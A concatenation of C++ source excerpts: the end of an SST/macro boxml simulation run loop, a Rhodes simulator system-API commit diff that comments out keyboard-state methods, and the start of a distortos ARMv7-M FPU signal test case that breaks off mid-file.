collective_done(my_box_number, cmess->tag());\n \/\/for now, we dynamically create domains - delete it\n delete dom;\n break;\n }\n default:\n {\n spkt_throw_printf(sprockit::value_error,\n \"got invalid message type %s\",\n sumi::message::tostr(dmess->class_type()));\n }\n }\n\n int old_n_events = n_events;\n --n_events;\n \/\/ events aren't properly tracked anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" handled receive\\n\";\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"recv_boxes: n_events \" << n_events << \" doesn't match count_events() \"\n << temp_n << \"\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after recv processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n\n void boxml::run_loop() {\n SSTMACBacktrace(\"run loop\"); \n\n \/\/std::cerr << \"Rank 0 entering run loop with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n if (debug_ > 0) cout << \"Rank \" << rank_ << \" entering run loop with \"\n << g_rank_to_recvs[rank_].size() << \" recvs\\n\";\n\n \/\/ Loop until no elements left\n int total_events = count_events();\n int n_events = total_events;\n int q_events = total_events\/4;\n bool q1 = false, q2 = false, q3 = false;\n while (n_events > 0) {\n bool doloop = true;\n \/\/while (doloop) {\n\n if (debug_ > 0 || detailed_progress_ ) {\n if (n_events < 3 * q_events && q1 == false) {\n cout << \"Rank \" << rank_ << \" 25% complete\\n\";\n q1 = true;\n }\n if (n_events < 2 * q_events && q2 == false) {\n cout << \"Rank \" << rank_ << \" 50% complete\\n\";\n q2 = true;\n }\n if (n_events < q_events && q3 == false) {\n cout << \"Rank \" << rank_ << \" 75% complete\\n\";\n q3 = true;\n }\n }\n else if (rank_ == 0) {\n if (n_events < 3 * q_events && q1 == false) {\n cout << \"Rank 0 25% complete\\n\";\n q1 = true;\n }\n if (n_events < 2 * q_events && q2 == false) {\n cout << \"Rank 0 50% complete\\n\";\n q2 = true;\n }\n if (n_events < q_events && q3 == false) {\n cout << \"Rank 0 75% complete\\n\";\n q3 = true;\n }\n }\n\n if(detailed_progress_ && rank_ == 0) {\n cout << \"Rank 0 completed \" << total_events - n_events << \" of \" << total_events\n << \" events\\n\";\n cout << std::flush;\n cerr << std::flush;\n }\n\n \/\/std::cerr << \"Rank before send boxes with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n bool skip_to_next_loop = send_boxes(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before compute boxes with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n skip_to_next_loop = compute_boxes(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before reduce with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n skip_to_next_loop = reduce(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before recv with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n recv_boxes(n_events);\n\n \/\/if( n_events == count_events())\n \/\/ sstmac_usleep(1000);\n\n doloop = false;\n }\n\n if (debug_ > 0)\n cout << \"Rank \" << rank_ << \" completed run loop\\n\";\n\n }\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/..\/..\/shared\/SystemImplBase.h\"\n\n#include \"common\/RhoConf.h\"\n#include \"logging\/RhoLog.h\"\n#include \"..\/..\/platform\/shared\/qt\/rhodes\/impl\/MainWindowImpl.h\"\n#include \"..\/..\/platform\/shared\/qt\/rhodes\/RhoSimulator.h\"\n\n#undef null\n#include <qwebkitglobal.h>\n#include <QLocale>\n#include <QDesktopServices>\n#include <QUrl>\n\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"System\"\n\nnamespace rho {\n\nusing namespace apiGenerator;\n\nclass CSystemImpl: public CSystemImplBase\n{\npublic:\n CSystemImpl(): CSystemImplBase(){}\n\n virtual void getScreenWidth(CMethodResult& oResult);\n virtual void getScreenHeight(CMethodResult& oResult);\n virtual void getScreenOrientation(CMethodResult& oResult);\n virtual void getPpiX(CMethodResult& oResult);\n virtual void getPpiY(CMethodResult& oResult);\n virtual void getPhoneId(CMethodResult& oResult);\n virtual void getDeviceName(CMethodResult& oResult);\n virtual void getOsVersion(CMethodResult& oResult);\n virtual void getIsMotorolaDevice(CMethodResult& oResult);\n virtual void getLocale(CMethodResult& oResult);\n virtual void getCountry(CMethodResult& oResult);\n virtual void getIsEmulator(CMethodResult& oResult);\n virtual void getHasCalendar(CMethodResult& oResult);\n virtual void getOemInfo(CMethodResult& oResult);\n virtual void getUuid(CMethodResult& oResult);\n virtual void getHttpProxyURI(CMethodResult& oResult);\n virtual void setHttpProxyURI( const rho::String& value, CMethodResult& oResult);\n virtual void getLockWindowSize(CMethodResult& oResult);\n virtual void setLockWindowSize( bool value, CMethodResult& oResult);\n virtual void getKeyboardState(CMethodResult& oResult);\n virtual void setKeyboardState( const rho::String& value, CMethodResult& oResult);\n virtual void getFullScreen(CMethodResult& oResult);\n virtual void setFullScreen( bool value, CMethodResult& oResult);\n virtual void getScreenAutoRotate(CMethodResult& oResult);\n virtual void setScreenAutoRotate( bool value, CMethodResult& oResult);\n virtual void getHasTouchscreen(rho::apiGenerator::CMethodResult& oResult);\n virtual void getScreenSleeping(rho::apiGenerator::CMethodResult& oResult);\n virtual void setScreenSleeping( bool value, rho::apiGenerator::CMethodResult& oResult);\n\n virtual void applicationInstall( const rho::String& applicationUrl, CMethodResult& oResult);\n virtual void isApplicationInstalled( const rho::String& applicationName, CMethodResult& oResult);\n virtual void applicationUninstall( const rho::String& applicationName, CMethodResult& oResult);\n virtual void openUrl( const rho::String& url, CMethodResult& oResult);\n virtual void setRegistrySetting( int hive, int type, const rho::String& subKey, const rho::String& setting, const rho::String& value, rho::apiGenerator::CMethodResult& oResult);\n virtual void getRegistrySetting( int hive, const rho::String& subKey, const rho::String& setting, rho::apiGenerator::CMethodResult& oResult);\n virtual void setWindowFrame( int x, int y, int width, int height, CMethodResult& oResult);\n virtual void setWindowPosition( int x, int y, CMethodResult& oResult);\n virtual void setWindowSize( int width, int height, rho::apiGenerator::CMethodResult& oResult);\n virtual void getWebviewFramework(rho::apiGenerator::CMethodResult& oResult);\n virtual void bringToFront(rho::apiGenerator::CMethodResult& oResult);\n virtual void runApplication( const rho::String& appName, const rho::String& params, bool blockingCall, rho::apiGenerator::CMethodResult& oResult);\n\n virtual void set_http_proxy_url( const rho::String& proxyURI, rho::apiGenerator::CMethodResult& oResult);\n virtual void unset_http_proxy(rho::apiGenerator::CMethodResult& oResult);\n};\n\nvoid CSystemImpl::getOsVersion(CMethodResult& oResult)\n{\n oResult.set(String(RHOSIMULATOR_NAME \" v\" RHOSIMULATOR_VERSION));\n}\n\nvoid CSystemImpl::getIsEmulator(CMethodResult& oResult)\n{\n oResult.set(true);\n}\n\nvoid CSystemImpl::getScreenWidth(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getScreenWidth());\n}\n\nvoid CSystemImpl::getScreenHeight(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getScreenHeight());\n}\n\nvoid CSystemImpl::getScreenOrientation(CMethodResult& oResult)\n{\n oResult.set(StringW(CMainWindow::getScreenWidth() <= CMainWindow::getScreenHeight() ? L\"portrait\" : L\"landscape\"));\n}\n\nvoid CSystemImpl::getPpiX(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getInstance()->getLogicalDpiX());\n}\n\nvoid CSystemImpl::getPpiY(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getInstance()->getLogicalDpiY());\n}\n\nvoid CSystemImpl::getPhoneId(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n getOsVersion(oResult);\n}\n\nvoid CSystemImpl::getDeviceName(CMethodResult& oResult)\n{\n oResult.set(String(\"Qt\"));\n}\n\nvoid CSystemImpl::getLocale(CMethodResult& oResult)\n{\n oResult.set(String(QLocale::system().name().left(2).toStdString().c_str()));\n}\n\nvoid CSystemImpl::getCountry(CMethodResult& oResult)\n{\n oResult.set(String(QLocale::system().name().right(2).toStdString().c_str()));\n}\n\nvoid CSystemImpl::getHasCalendar(CMethodResult& oResult)\n{\n\toResult.set(true);\n}\n\nvoid CSystemImpl::getIsMotorolaDevice(CMethodResult& oResult)\n{\n\toResult.set(false);\n}\n\nvoid CSystemImpl::getOemInfo(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n}\n\nvoid CSystemImpl::getUuid(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n}\n\nvoid CSystemImpl::getLockWindowSize(CMethodResult& oResult){}\nvoid CSystemImpl::setLockWindowSize( bool value, CMethodResult& oResult){}\n\/\/void CSystemImpl::getKeyboardState(CMethodResult& oResult){}\n\/\/void CSystemImpl::setKeyboardState( const rho::String& value, CMethodResult& oResult){}\nvoid CSystemImpl::getFullScreen(CMethodResult& oResult)\n{\n\t\/\/all apps working in full screen mode on WP8\n oResult.set(CMainWindow::getInstance()->getFullScreen());\n}\nvoid CSystemImpl::setFullScreen(bool value, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->fullscreenCommand(value);\n}\n\nvoid CSystemImpl::getScreenAutoRotate(CMethodResult& oResult)\n{\n oResult.set(false);\n}\n\nvoid CSystemImpl::setScreenAutoRotate( bool value, CMethodResult& oResult)\n{\n \/\/ TODO: impolement auto rotate\n}\n\nvoid CSystemImpl::applicationInstall( const rho::String& applicationUrl, CMethodResult& oResult)\n{\n}\n\nvoid CSystemImpl::isApplicationInstalled( const rho::String& applicationName, CMethodResult& oResult)\n{\n\toResult.set(false);\n}\n\nvoid CSystemImpl::applicationUninstall( const rho::String& applicationName, CMethodResult& oResult)\n{\n}\n\nvoid CSystemImpl::openUrl( const rho::String& url, CMethodResult& oResult)\n{\n QString sUrl = QString::fromStdString(url);\n if (sUrl.startsWith(\"\/\"))\n sUrl.prepend(\"file:\/\/\");\n QDesktopServices::openUrl(QUrl(sUrl));\n}\n\nvoid CSystemImpl::runApplication( const rho::String& appName, const rho::String& params, bool blockingCall, CMethodResult& oResult)\n{\n \/\/unsupported\n}\n\nvoid CSystemImpl::setRegistrySetting( int hive, int type, const rho::String& subKey, const rho::String& setting, const rho::String& value, rho::apiGenerator::CMethodResult& oResult)\n{\n\t\/\/unsupported\n}\n\nvoid CSystemImpl::getRegistrySetting( int hive, const rho::String& subKey, const rho::String& setting, rho::apiGenerator::CMethodResult& oResult)\n{\n\t\/\/unsupported\n}\n\nvoid CSystemImpl::setWindowFrame(int x, int y, int width, int height, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setFrame(x, y, width, height);\n}\nvoid CSystemImpl::setWindowPosition( int x, int y, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setPosition(x, y);\n}\n\nvoid CSystemImpl::getWebviewFramework(rho::apiGenerator::CMethodResult& oResult)\n{\n oResult.set(String(\"WEBKIT\/\" QTWEBKIT_VERSION_STR));\n}\n\nvoid CSystemImpl::bringToFront(rho::apiGenerator::CMethodResult& oResult)\n{\n CMainWindow::getInstance()->bringToFront();\n}\n\nextern \"C\" const char* rho_sys_get_http_proxy_url();\nextern \"C\" void rho_sys_set_http_proxy_url(const char* url);\nextern \"C\" void rho_sys_unset_http_proxy();\nvoid CSystemImpl::getHttpProxyURI(CMethodResult& oResult)\n{\n\toResult.set(rho_sys_get_http_proxy_url());\n}\n\nvoid CSystemImpl::setHttpProxyURI( const rho::String& value, CMethodResult& oResult)\n{\n\tif ( value.length() )\n rho_sys_set_http_proxy_url( value.c_str() );\n else\n rho_sys_unset_http_proxy();\n}\n\nvoid CSystemImpl::getHasTouchscreen(rho::apiGenerator::CMethodResult& oResult)\n{\n\toResult.set(true);\n}\n\nvoid CSystemImpl::getScreenSleeping(rho::apiGenerator::CMethodResult& oResult)\n{\n oResult.set(false);\n}\n\nvoid CSystemImpl::setScreenSleeping( bool value, rho::apiGenerator::CMethodResult& oResult)\n{\n \/\/unsupported\n}\n\nvoid CSystemImpl::setWindowSize( int width, int height, rho::apiGenerator::CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setSize(width, height);\n}\n\nvoid CSystemImpl::set_http_proxy_url( const rho::String& proxyURI, rho::apiGenerator::CMethodResult& oResult)\n{\n\trho_sys_set_http_proxy_url( proxyURI.c_str() );\n}\n\nvoid CSystemImpl::unset_http_proxy(rho::apiGenerator::CMethodResult& oResult)\n{\n\trho_sys_unset_http_proxy();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass CSystemSingleton: public CModuleSingletonBase<ISystemSingleton>\n{\npublic:\n ~CSystemSingleton(){}\n rho::StringW getInitialDefaultID(){return L\"1\";}\n\trho::StringW getDefaultID(){return L\"1\";}\n\tvoid setDefaultID(const rho::StringW& strI){}\n};\n\nclass CSystemFactory: public CSystemFactoryBase\n{\npublic:\n ~CSystemFactory(){}\n\n ISystemSingleton* createModuleSingleton(){ return new CSystemImpl(); }\n};\n\nextern \"C\" void Init_System()\n{\n CSystemFactory::setInstance( new CSystemFactory() );\n Init_System_API();\n}\n\n}\n<commit_msg>rhosimulator\/osx: build fixed<commit_after>#include \"..\/..\/..\/shared\/SystemImplBase.h\"\n\n#include \"common\/RhoConf.h\"\n#include \"logging\/RhoLog.h\"\n#include \"..\/..\/platform\/shared\/qt\/rhodes\/impl\/MainWindowImpl.h\"\n#include \"..\/..\/platform\/shared\/qt\/rhodes\/RhoSimulator.h\"\n\n#undef null\n#include <qwebkitglobal.h>\n#include <QLocale>\n#include <QDesktopServices>\n#include <QUrl>\n\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"System\"\n\nnamespace rho {\n\nusing namespace apiGenerator;\n\nclass CSystemImpl: public CSystemImplBase\n{\npublic:\n CSystemImpl(): CSystemImplBase(){}\n\n virtual void getScreenWidth(CMethodResult& oResult);\n virtual void getScreenHeight(CMethodResult& oResult);\n virtual void getScreenOrientation(CMethodResult& oResult);\n virtual void getPpiX(CMethodResult& oResult);\n virtual void getPpiY(CMethodResult& oResult);\n virtual void getPhoneId(CMethodResult& oResult);\n virtual void getDeviceName(CMethodResult& oResult);\n virtual void getOsVersion(CMethodResult& oResult);\n virtual void getIsMotorolaDevice(CMethodResult& oResult);\n virtual void getLocale(CMethodResult& oResult);\n virtual void getCountry(CMethodResult& oResult);\n virtual void getIsEmulator(CMethodResult& oResult);\n virtual void getHasCalendar(CMethodResult& oResult);\n virtual void getOemInfo(CMethodResult& oResult);\n virtual void getUuid(CMethodResult& oResult);\n virtual void getHttpProxyURI(CMethodResult& oResult);\n virtual void setHttpProxyURI( const rho::String& value, CMethodResult& oResult);\n virtual void getLockWindowSize(CMethodResult& oResult);\n virtual void setLockWindowSize( bool value, CMethodResult& oResult);\n \/\/virtual void getKeyboardState(CMethodResult& oResult);\n \/\/virtual void setKeyboardState( const rho::String& value, CMethodResult& oResult);\n virtual void getFullScreen(CMethodResult& oResult);\n virtual void setFullScreen( bool value, CMethodResult& oResult);\n virtual void getScreenAutoRotate(CMethodResult& oResult);\n virtual void setScreenAutoRotate( bool value, CMethodResult& oResult);\n virtual void getHasTouchscreen(rho::apiGenerator::CMethodResult& oResult);\n virtual void getScreenSleeping(rho::apiGenerator::CMethodResult& oResult);\n virtual void setScreenSleeping( bool value, rho::apiGenerator::CMethodResult& oResult);\n\n virtual void applicationInstall( const rho::String& applicationUrl, CMethodResult& oResult);\n virtual void isApplicationInstalled( const rho::String& applicationName, CMethodResult& oResult);\n virtual void applicationUninstall( const rho::String& applicationName, CMethodResult& oResult);\n virtual void openUrl( const rho::String& url, CMethodResult& oResult);\n virtual void setRegistrySetting( int hive, int type, const rho::String& subKey, const rho::String& setting, const rho::String& value, rho::apiGenerator::CMethodResult& oResult);\n virtual void getRegistrySetting( int hive, const rho::String& subKey, const rho::String& setting, rho::apiGenerator::CMethodResult& oResult);\n virtual void setWindowFrame( int x, int y, int width, int height, CMethodResult& oResult);\n virtual void setWindowPosition( int x, int y, CMethodResult& oResult);\n virtual void setWindowSize( int width, int height, rho::apiGenerator::CMethodResult& oResult);\n virtual void getWebviewFramework(rho::apiGenerator::CMethodResult& oResult);\n virtual void bringToFront(rho::apiGenerator::CMethodResult& oResult);\n virtual void runApplication( const rho::String& appName, const rho::String& params, bool blockingCall, rho::apiGenerator::CMethodResult& oResult);\n\n virtual void set_http_proxy_url( const rho::String& proxyURI, rho::apiGenerator::CMethodResult& oResult);\n virtual void unset_http_proxy(rho::apiGenerator::CMethodResult& oResult);\n};\n\nvoid CSystemImpl::getOsVersion(CMethodResult& oResult)\n{\n oResult.set(String(RHOSIMULATOR_NAME \" v\" RHOSIMULATOR_VERSION));\n}\n\nvoid CSystemImpl::getIsEmulator(CMethodResult& oResult)\n{\n oResult.set(true);\n}\n\nvoid CSystemImpl::getScreenWidth(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getScreenWidth());\n}\n\nvoid CSystemImpl::getScreenHeight(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getScreenHeight());\n}\n\nvoid CSystemImpl::getScreenOrientation(CMethodResult& oResult)\n{\n oResult.set(StringW(CMainWindow::getScreenWidth() <= CMainWindow::getScreenHeight() ? L\"portrait\" : L\"landscape\"));\n}\n\nvoid CSystemImpl::getPpiX(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getInstance()->getLogicalDpiX());\n}\n\nvoid CSystemImpl::getPpiY(CMethodResult& oResult)\n{\n oResult.set(CMainWindow::getInstance()->getLogicalDpiY());\n}\n\nvoid CSystemImpl::getPhoneId(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n getOsVersion(oResult);\n}\n\nvoid CSystemImpl::getDeviceName(CMethodResult& oResult)\n{\n oResult.set(String(\"Qt\"));\n}\n\nvoid CSystemImpl::getLocale(CMethodResult& oResult)\n{\n oResult.set(String(QLocale::system().name().left(2).toStdString().c_str()));\n}\n\nvoid CSystemImpl::getCountry(CMethodResult& oResult)\n{\n oResult.set(String(QLocale::system().name().right(2).toStdString().c_str()));\n}\n\nvoid CSystemImpl::getHasCalendar(CMethodResult& oResult)\n{\n\toResult.set(true);\n}\n\nvoid CSystemImpl::getIsMotorolaDevice(CMethodResult& oResult)\n{\n\toResult.set(false);\n}\n\nvoid CSystemImpl::getOemInfo(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n}\n\nvoid CSystemImpl::getUuid(CMethodResult& oResult)\n{\n \/\/oResult.set(...);\n}\n\nvoid CSystemImpl::getLockWindowSize(CMethodResult& oResult){}\nvoid CSystemImpl::setLockWindowSize( bool value, CMethodResult& oResult){}\n\/\/void CSystemImpl::getKeyboardState(CMethodResult& oResult){}\n\/\/void CSystemImpl::setKeyboardState( const rho::String& value, CMethodResult& oResult){}\nvoid CSystemImpl::getFullScreen(CMethodResult& oResult)\n{\n\t\/\/all apps working in full screen mode on WP8\n oResult.set(CMainWindow::getInstance()->getFullScreen());\n}\nvoid CSystemImpl::setFullScreen(bool value, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->fullscreenCommand(value);\n}\n\nvoid CSystemImpl::getScreenAutoRotate(CMethodResult& oResult)\n{\n oResult.set(false);\n}\n\nvoid CSystemImpl::setScreenAutoRotate( bool value, CMethodResult& oResult)\n{\n \/\/ TODO: impolement auto rotate\n}\n\nvoid CSystemImpl::applicationInstall( const rho::String& applicationUrl, CMethodResult& oResult)\n{\n}\n\nvoid CSystemImpl::isApplicationInstalled( const rho::String& applicationName, CMethodResult& oResult)\n{\n\toResult.set(false);\n}\n\nvoid CSystemImpl::applicationUninstall( const rho::String& applicationName, CMethodResult& oResult)\n{\n}\n\nvoid CSystemImpl::openUrl( const rho::String& url, CMethodResult& oResult)\n{\n QString sUrl = QString::fromStdString(url);\n if (sUrl.startsWith(\"\/\"))\n sUrl.prepend(\"file:\/\/\");\n QDesktopServices::openUrl(QUrl(sUrl));\n}\n\nvoid CSystemImpl::runApplication( const rho::String& appName, const rho::String& params, bool blockingCall, CMethodResult& oResult)\n{\n \/\/unsupported\n}\n\nvoid CSystemImpl::setRegistrySetting( int hive, int type, const rho::String& subKey, const rho::String& setting, const rho::String& value, rho::apiGenerator::CMethodResult& oResult)\n{\n\t\/\/unsupported\n}\n\nvoid CSystemImpl::getRegistrySetting( int hive, const rho::String& subKey, const rho::String& setting, rho::apiGenerator::CMethodResult& oResult)\n{\n\t\/\/unsupported\n}\n\nvoid CSystemImpl::setWindowFrame(int x, int y, int width, int height, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setFrame(x, y, width, height);\n}\nvoid CSystemImpl::setWindowPosition( int x, int y, CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setPosition(x, y);\n}\n\nvoid CSystemImpl::getWebviewFramework(rho::apiGenerator::CMethodResult& oResult)\n{\n oResult.set(String(\"WEBKIT\/\" QTWEBKIT_VERSION_STR));\n}\n\nvoid CSystemImpl::bringToFront(rho::apiGenerator::CMethodResult& oResult)\n{\n CMainWindow::getInstance()->bringToFront();\n}\n\nextern \"C\" const char* rho_sys_get_http_proxy_url();\nextern \"C\" void rho_sys_set_http_proxy_url(const char* url);\nextern \"C\" void rho_sys_unset_http_proxy();\nvoid CSystemImpl::getHttpProxyURI(CMethodResult& oResult)\n{\n\toResult.set(rho_sys_get_http_proxy_url());\n}\n\nvoid CSystemImpl::setHttpProxyURI( const rho::String& value, CMethodResult& oResult)\n{\n\tif ( value.length() )\n rho_sys_set_http_proxy_url( value.c_str() );\n else\n rho_sys_unset_http_proxy();\n}\n\nvoid CSystemImpl::getHasTouchscreen(rho::apiGenerator::CMethodResult& oResult)\n{\n\toResult.set(true);\n}\n\nvoid CSystemImpl::getScreenSleeping(rho::apiGenerator::CMethodResult& oResult)\n{\n oResult.set(false);\n}\n\nvoid CSystemImpl::setScreenSleeping( bool value, rho::apiGenerator::CMethodResult& oResult)\n{\n \/\/unsupported\n}\n\nvoid CSystemImpl::setWindowSize( int width, int height, rho::apiGenerator::CMethodResult& oResult)\n{\n CMainWindow::getInstance()->setSize(width, height);\n}\n\nvoid CSystemImpl::set_http_proxy_url( const rho::String& proxyURI, rho::apiGenerator::CMethodResult& oResult)\n{\n\trho_sys_set_http_proxy_url( proxyURI.c_str() );\n}\n\nvoid CSystemImpl::unset_http_proxy(rho::apiGenerator::CMethodResult& oResult)\n{\n\trho_sys_unset_http_proxy();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass CSystemSingleton: public CModuleSingletonBase<ISystemSingleton>\n{\npublic:\n ~CSystemSingleton(){}\n rho::StringW getInitialDefaultID(){return L\"1\";}\n\trho::StringW getDefaultID(){return L\"1\";}\n\tvoid setDefaultID(const rho::StringW& strI){}\n};\n\nclass CSystemFactory: public CSystemFactoryBase\n{\npublic:\n ~CSystemFactory(){}\n\n ISystemSingleton* createModuleSingleton(){ return new CSystemImpl(); }\n};\n\nextern \"C\" void Init_System()\n{\n CSystemFactory::setInstance( new CSystemFactory() );\n Init_System_API();\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file\n * \\brief FpuSignalTestCase class implementation for ARMv7-M (Cortex-M3 \/ Cortex-M4)\n *\n * \\author Copyright (C) 2015 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\date 2015-11-11\n *\/\n\n#include \"ARMv7-M-FpuSignalTestCase.hpp\"\n\n#include \"distortos\/chip\/CMSIS-proxy.h\"\n\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\n#include \"checkFpuRegisters.hpp\"\n#include \"setFpuRegisters.hpp\"\n\n#include \"distortos\/StaticSoftwareTimer.hpp\"\n#include \"distortos\/StaticThread.hpp\"\n#include \"distortos\/statistics.hpp\"\n#include \"distortos\/ThisThread.hpp\"\n#include \"distortos\/ThisThread-Signals.hpp\"\n\n#include <cerrno>\n\n#endif\t\/\/ __FPU_PRESENT == 1 && __FPU_USED == 1\n\nnamespace distortos\n{\n\nnamespace test\n{\n\n#if __FPU_PRESENT == 1 && __FPU_USED == 1\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local types\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ values used in single test stage\nstruct Stage\n{\n\t\/\/\/ value written to all FPU registers in main thread, don't use FPU in main thread if 0\n\tuint32_t threadValue;\n\n\t\/\/\/ value written to \"lower\" FPU registers in \"sender\" before queuing of signal, skip this step if 0\n\tuint32_t senderValueBefore;\n\n\t\/\/\/ value written to \"lower\" FPU registers in \"sender\" after queuing of signal, skip this step if 0\n\tuint32_t senderValueAfter;\n\n\t\/\/\/ signal value, written to \"lower\" FPU registers in handler, don't use FPU in handler if 0\n\tint signalValue;\n};\n\n\/\/\/ description of single test phase\nstruct Phase\n{\n\t\/\/\/ type of \"sender\" function\n\tusing Sender = int(Thread&, const Stage&);\n\n\t\/\/\/ reference to \"sender\" function\n\tSender& sender;\n\n\t\/\/\/ expected number of context switches for single stage executed in this phase\n\tdecltype(statistics::getContextSwitchCount()) contextSwitchCount;\n};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ tested signal number\nconstexpr uint8_t testSignalNumber {16};\n\n\/\/\/ size of stack for test thread, bytes\nconstexpr size_t testThreadStackSize {512};\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/**\n * \\brief Disables FPU context for current thread by clearing FPCA bit in CONTROL register.\n *\/\n\nvoid disableFpuContext()\n{\n\tconst auto control = __get_CONTROL();\n\t__set_CONTROL(control & ~CONTROL_FPCA_Msk);\n}\n\n\/**\n * \\brief Signal handler\n *\n * Sets \"lower\" FPU registers (s0-s15 and FPSCR) using the value queued with signal, unless this value is 0.\n *\n * \\param [in] signalInformation is a reference to received SignalInformation object\n *\/\n\nvoid handler(const SignalInformation& signalInformation)\n{\n\tconst auto value = signalInformation.getValue().sival_int;\n\tif (value == 0)\n\t\treturn;\n\n\tsetFpuRegisters(value, false);\n}\n\n\/**\n * \\brief Tests whether FPU context is active for current thread.\n *\n * \\return true if FPU context is active for current thread (FPCA bit in CONTROL register is set), false otherwise\n *\/\n\nbool isFpuContextActive()\n{\n\tconst auto control = __get_CONTROL();\n\treturn (control & CONTROL_FPCA_Msk) != 0;\n}\n\n\/**\n * \\brief Test wrapper for Thread::queueSignal() that also modifies FPU registers.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n * \\param [in] full is the \\a full argument passed to setFpuRegisters()\n * \\param [in] sharedRet is a reference to int variable which will be written with 0 on success, error code otherwise\n *\/\n\nvoid queueSignalWrapper(Thread& thread, const Stage& stage, const bool full, int& sharedRet)\n{\n\tif (stage.senderValueBefore != 0)\t\/\/ should FPU be used at the beginning of \"sender\"?\n\t\tsetFpuRegisters(stage.senderValueBefore, full);\n\n\tsharedRet = thread.queueSignal(testSignalNumber, sigval{stage.signalValue});\n\n\tif (stage.senderValueAfter != 0)\t\/\/ should FPU be used at th\"sender\"\"sender\"?\n\t\tsetFpuRegisters(stage.senderValueAfter, full);\n}\n\n\/**\n * \\brief Queues signal from interrupt (via software timer) to current thread.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n *\n * \\return 0 on success, error code otherwise:\n * - error codes returned by Thread::queueSignal();\n *\/\n\nint queueSignalFromInterrupt(Thread& thread, const Stage& stage)\n{\n\tint sharedRet {EINVAL};\n\tauto softwareTimer = makeStaticSoftwareTimer(queueSignalWrapper, std::ref(thread), std::ref(stage), false,\n\t\t\tstd::ref(sharedRet));\n\n\tsoftwareTimer.start(TickClock::duration{});\n\twhile (softwareTimer.isRunning() == true);\n\n\treturn sharedRet;\n}\n\n\/**\n * \\brief Queues signal from thread to non-current thread.\n *\n * \\param [in] thread is a reference to thread to which the signal will be queued\n * \\param [in] stage is a reference to test stage\n *\n * \\return 0 on success, error code otherwise:\n * - error codes returned by Thread::queueSignal();\n *\/\n\nint queueSignalFromThread(Thread& thread, const Stage& stage)\n{\n\tconstexpr decltype(FpuSignalTestCase::getTestCasePriority()) highPriority\n\t{\n\t\t\tFpuSignalTestCase::getTestCasePriority() + 1\n\t};\n\n\tint sharedRet {EINVAL};\n\tauto testThread = makeStaticThread<testThreadStackSize>(highPriority, queueSignalWrapper, std::ref(thread),\n\t\t\tstd::ref(stage), true, std::ref(sharedRet));\n\n\ttestThread.start();\n\ttestThread.join();\n\n\treturn sharedRet;\n}\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local constants\n+---------------------------------------------------------------------------------------------------------------------*\/\n\n\/\/\/ test phasese\nconst Phase phases[]\n{\n\t\t{queueSignalFromInterrupt, 0},\n\t\t{queueSignalFromThread, 2},\n};\n\n\/\/\/ test stages\nconst Stage stages[]\n{\n\t\t{0, 0, 0, 0},\t\t\t\t\t\t\t\t\/\/ don't use FPU in all 